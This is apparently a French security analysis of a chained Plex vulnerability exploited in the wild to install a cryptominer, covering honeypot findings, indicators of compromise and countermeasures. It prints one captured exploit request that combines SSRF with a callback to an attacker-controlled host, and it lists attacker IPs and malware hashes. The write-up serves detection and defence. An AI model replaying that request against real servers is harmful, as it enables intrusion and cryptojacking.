Contexte technique

Le 1er septembre 2026, Plex a publié un correctif (v1.43.2) suite à la découverte de quatre vulnérabilités identifiées sous les références CVE‑2026‑96652, CVE‑2026‑96654, CVE‑2026‑96655 et CVE‑2026‑96656. Aucun des CVE n’a reçu de score CVSS supérieur à 9, mais l’auteur du projet code‑zm a démontré qu’ils pouvaient être chaînés pour obtenir une exécution de code à distance (RCE) sur le serveur Plex.

Le 26 septembre 2026, les premiers CVE ont été publiés sur cvedetails.com, puis le 16 octobre 2026, le blog zmain.info a détaillé la chaîne d’exploitation. L’auteur a fourni un dépôt Git contenant le code d’injection (plex2shell) et des signatures de détection (pcap).

Exploitation en chaîne

La séquence commence par un appel HTTP vers l’endpoint /player/timeline/subscribe contenant une URL manipulée qui force le serveur Plex à interroger un service local (127.0.0.1:32400) puis à rediriger la requête vers un serveur contrôlé par l’attaquant. Le journal Zeek capture l’exemple suivant :

GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471 HTTP/1.1

Cette requête exploite une combinaison de SSRF (CVE‑2026‑96652) et d’injection de commande (CVE‑2026‑96655) pour charger un fichier Docker contenant le cryptominer. Le téléchargement provient de l’adresse 217.60.194.116 et le conteneur inclut les hachages suivants : 5712ef5… (docker), 68938fb… (x, UPX‑packed) et b20f39f… (x, UPX‑unpacked).

Indicateurs d’infection et observations en laboratoire

Le honeypot configuré par l’auteur a enregistré trois adresses IP actives : 45.194.92.222, 91.92.40.202 et 176.65.139.228. Après avoir autorisé le trafic sortant, le même IP (45.194.92.222) a déclenché un second téléchargement, confirmant la présence du cryptominer. Des artefacts supplémentaires, notamment le binaire myawesomeproxy (hash e546b10…) et le mineur xmrig (hash 2d3c618…), ont été observés, indiquant l’usage d’un proxy pour masquer le trafic sortant et exploiter des réseaux résidentiels comme relais vers des VPN d’entreprise.

Les PCAP fournis sur GitHub montrent des flux TCP vers le port 8952, typiques du protocole Plex, suivis d’une connexion HTTP vers le serveur de téléchargement. Aucun payload complet n’a été capturé avant la modification du honeypot, ce qui limite l’analyse du code exécuté après le conteneur.

Contremesures et détection

Le dépôt code‑zm/detection propose des signatures Zeek et Suricata basées sur l’URI suspecte et sur les hachages de fichiers. La mise à jour immédiate vers Plex v1.43.2 ou supérieure élimine les quatre CVE. En complément, il est recommandé de restreindre les requêtes sortantes depuis le serveur Plex, de bloquer les résolutions DNS vers des sous‑domaines non autorisés et d’appliquer une surveillance réseau centrée sur les ports 32400 et 8952. Enfin, la validation stricte des paramètres d’URL et la désactivation du service d’agent local (/system/agents) réduisent la surface d’attaque SSRF.